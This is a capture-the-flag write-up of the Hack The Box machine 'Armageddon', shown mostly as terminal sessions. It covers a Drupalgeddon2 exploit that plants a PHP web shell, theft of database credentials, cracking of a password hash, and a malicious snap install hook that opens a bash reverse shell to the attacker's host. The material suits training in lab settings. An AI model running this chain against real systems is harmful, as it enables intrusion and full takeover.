Armageddon Writeup
Introduction :
Armageddon is an easy Linux box released back in March 2021.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV 10.129.48.89
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -vvv -p- 10.129.48.89 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.129.48.89
Discovered open port 22/tcp on 10.129.48.89
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV -p 22,80 10.129.48.89
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:39 CEST
Nmap scan report for 10.129.48.89
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds
Part 2 : Getting User Access
Our nmap scan picked up port 80 so let's investigate it:
Just as like what we saw in our nmap scan results, this is a website running Drupal, and when we take a look at the page sourcecode we see get the confirmation that this is a Drupal 7 instance:
Now in order to exploit it we can use Drupalgeddon2
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ git clone https://github.com/dreadlocked/Drupalgeddon2
Cloning into 'Drupalgeddon2'...
remote: Enumerating objects: 257, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 257 (delta 0), reused 0 (delta 0), pack-reused 253
Receiving objects: 100% (257/257), 102.12 KiB | 202.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ cd Drupalgeddon2
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ls -l
total 44
-rwxr-xr-x 1 nothing nothing 7262 Aug 5 15:39 drupalgeddon2-customizable-beta.rb
-rwxr-xr-x 1 nothing nothing 22954 Aug 5 15:39 drupalgeddon2.rb
-rw-r--r-- 1 nothing nothing 11388 Aug 5 15:39 README.md
In order to run it we need the highline ruby gem:
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ sudo gem install highline
[sudo] password for nothing:
Fetching highline-2.0.3.gem
Successfully installed highline-2.0.3
Parsing documentation for highline-2.0.3
Installing ri documentation for highline-2.0.3
Done installing documentation for highline after 2 seconds
1 gem installed
Once that's done we run it:
[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ./drupalgeddon2.rb http://10.129.48.89
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.48.89/
--------------------------------------------------------------------------------
[+] Found : http://10.129.48.89/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo UJNQTJEV
[+] Result : UJNQTJEV
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file (http://10.129.48.89/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <****?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2> &1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell: curl 'http://10.129.48.89/shell.php' -d 'c=hostname'
armageddon.htb>>
And it looks like we have a shell! however we see that it's not easy to navigate the system with it because of how limited it is:
armageddon.htb>> ls -lash
total 288K
4.0K drwxr-xr-x. 9 apache apache 4.0K Aug 5 14:41 .
0 drwxr-xr-x. 4 root root 33 Dec 3 2020 ..
4.0K -rw-r--r--. 1 apache apache 317 Jun 21 2017 .editorconfig
4.0K -rw-r--r--. 1 apache apache 174 Jun 21 2017 .gitignore
8.0K -rw-r--r--. 1 apache apache 6.0K Jun 21 2017 .htaccess
112K -rw-r--r--. 1 apache apache 109K Jun 21 2017 CHANGELOG.txt
4.0K -rw-r--r--. 1 apache apache 1.5K Jun 21 2017 COPYRIGHT.txt
4.0K -rw-r--r--. 1 apache apache 1.7K Jun 21 2017 INSTALL.mysql.txt
4.0K -rw-r--r--. 1 apache apache 1.9K Jun 21 2017 INSTALL.pgsql.txt
4.0K -rw-r--r--. 1 apache apache 1.3K Jun 21 2017 INSTALL.sqlite.txt
20K -rw-r--r--. 1 apache apache 18K Jun 21 2017 INSTALL.txt
20K -rw-r--r--. 1 apache apache 18K Nov 16 2016 LICENSE.txt
12K -rw-r--r--. 1 apache apache 8.6K Jun 21 2017 MAINTAINERS.txt
8.0K -rw-r--r--. 1 apache apache 5.3K Jun 21 2017 README.txt
12K -rw-r--r--. 1 apache apache 9.9K Jun 21 2017 UPGRADE.txt
8.0K -rw-r--r--. 1 apache apache 6.5K Jun 21 2017 authorize.php
4.0K -rw-r--r--. 1 apache apache 720 Jun 21 2017 cron.php
4.0K drwxr-xr-x. 4 apache apache 4.0K Jun 21 2017 includes
4.0K -rw-r--r--. 1 apache apache 529 Jun 21 2017 index.php
4.0K -rw-r--r--. 1 apache apache 703 Jun 21 2017 install.php
4.0K drwxr-xr-x. 4 apache apache 4.0K Dec 4 2020 misc
4.0K drwxr-xr-x. 42 apache apache 4.0K Jun 21 2017 modules
0 drwxr-xr-x. 5 apache apache 70 Jun 21 2017 profiles
4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 robots.txt
0 drwxr-xr-x. 2 apache apache 261 Jun 21 2017 scripts
4.0K -rw-r--r--. 1 apache apache 75 Aug 5 14:41 shell.php
0 drwxr-xr-x. 4 apache apache 75 Jun 21 2017 sites
0 drwxr-xr-x. 7 apache apache 94 Jun 21 2017 themes
20K -rw-r--r--. 1 apache apache 20K Jun 21 2017 update.php
4.0K -rw-r--r--. 1 apache apache 2.2K Jun 21 2017 web.config
4.0K -rw-r--r--. 1 apache apache 417 Jun 21 2017 xmlrpc.php
armageddon.htb>> pwd
/var/www/html
armageddon.htb>> cd sites
armageddon.htb>> pwd
/var/www/html
armageddon.htb>> which cd
/usr/bin/cd
As you can see we can't use the cd command to change directories. But that's not an issue so we navigate to sites/default/settings.php
armageddon.htb>> cat sites/default/settings.php
<****?php
[...]
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
[...]
?>
armageddon.htb>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
now here we seem to have credentials for a mysql database, however the drupaluser doesn't appear in /etc/passwd, therefore we probably need to get password hashes from the database itself:
armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
now here we have a password hash, so let's crack it with john:
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ vim hash.txt
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ cat hash.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2021-08-09 11:30) 2.439g/s 585.3p/s 585.3c/s 585.3C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And we have brucetherealadmin's password! Now let's try to login via SSH:
[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ ssh brucetherealadmin@10.129.48.89
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ECDSA) to the list of known hosts.
brucetherealadmin@10.129.48.89's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls -lash
total 16K
0 drwx------. 2 brucetherealadmin brucetherealadmin 99 Dec 14 2020 .
0 drwxr-xr-x. 3 root root 31 Dec 3 2020 ..
0 lrwxrwxrwx. 1 root root 9 Dec 11 2020 .bash_history -> /dev/null
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 18 Apr 1 2020 .bash_logout
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr 1 2020 .bash_profile
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr 1 2020 .bashrc
4.0K -r--------. 1 brucetherealadmin brucetherealadmin 33 Aug 9 10:03 user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to login and get the user flag.
Part 3 : Getting Root Access
Now in order to get to the root flag. We first need to enumerate the box, to do so we can use linpeas.sh:
[terminal 1]
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cp /home/nothing/HTB/Academy/linpeas.sh .
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/linpeas.sh > /tmp/peas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 333k 100 333k 0 0 120k 0 0:00:02 0:00:02 --:--:-- 120k
[brucetherealadmin@armageddon ~]$ chmod +x /tmp/peas.sh
[brucetherealadmin@armageddon ~]$ /tmp/peas.sh
` 
Let it run, and then when we check the output we see the following:
Looks like we are able to run snap as the root user without any password, therefore let's use the gtfobin for snap:
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ sudo gem install fpm
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.34/9001 0>&1"'
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cd $(mktemp -d)
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ mkdir meta/hooks/ -p
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ chmod +x meta/hooks/install
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ fpm -n privesc -s dir -t snap -a all meta
Created package {:path=>"privesc_1.0_all.snap"}
Now we upload the malicious privesc snap file to the machine and run it:
[term1]
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ ls -lash
total 16K
4.0K drwx------ 3 nothing nothing 4.0K Aug 9 12:40 .
4.0K drwxrwxrwt 23 root root 4.0K Aug 9 12:40 ..
4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 9 12:40 meta
4.0K -rw-r--r-- 1 nothing nothing 4.0K Aug 9 12:40 privesc_1.0_all.snap
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ md5sum privesc_1.0_all.snap
1159d305989905e39a5f9a8e63ba35ed privesc_1.0_all.snap
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[term2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/privesc_1.0_all.snap > /tmp/privesc.snap
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4096 100 4096 0 0 4446 0 --:--:-- --:--:-- --:--:-- 4452
[brucetherealadmin@armageddon ~]$ md5sum /tmp/privesc.snap
1159d305989905e39a5f9a8e63ba35ed /tmp/privesc.snap
both the file hashes match therefore the transfer was successful. Now let's run snap as the root user to make use of the snap package we created:
[term 1]
[brucetherealadmin@armageddon tmp]$ sudo snap install /tmp/privesc.snap --dangerous --devmode
Run install hook of "privesc" snap if present
[term 2]
[ 10.10.14.34/23 ] [ /dev/pts/7 ] [/tmp/tmp.uYjIjYciPg]
→ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.48.89 57430
bash: cannot set terminal process group (18084): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
bash-4.3# cat /root/root.txt
cat /root/root.txt
34XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the root flag.
Conclusion
Here we can see the progress graph :
Nihilist
Donate XMR to Nihilist:
8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8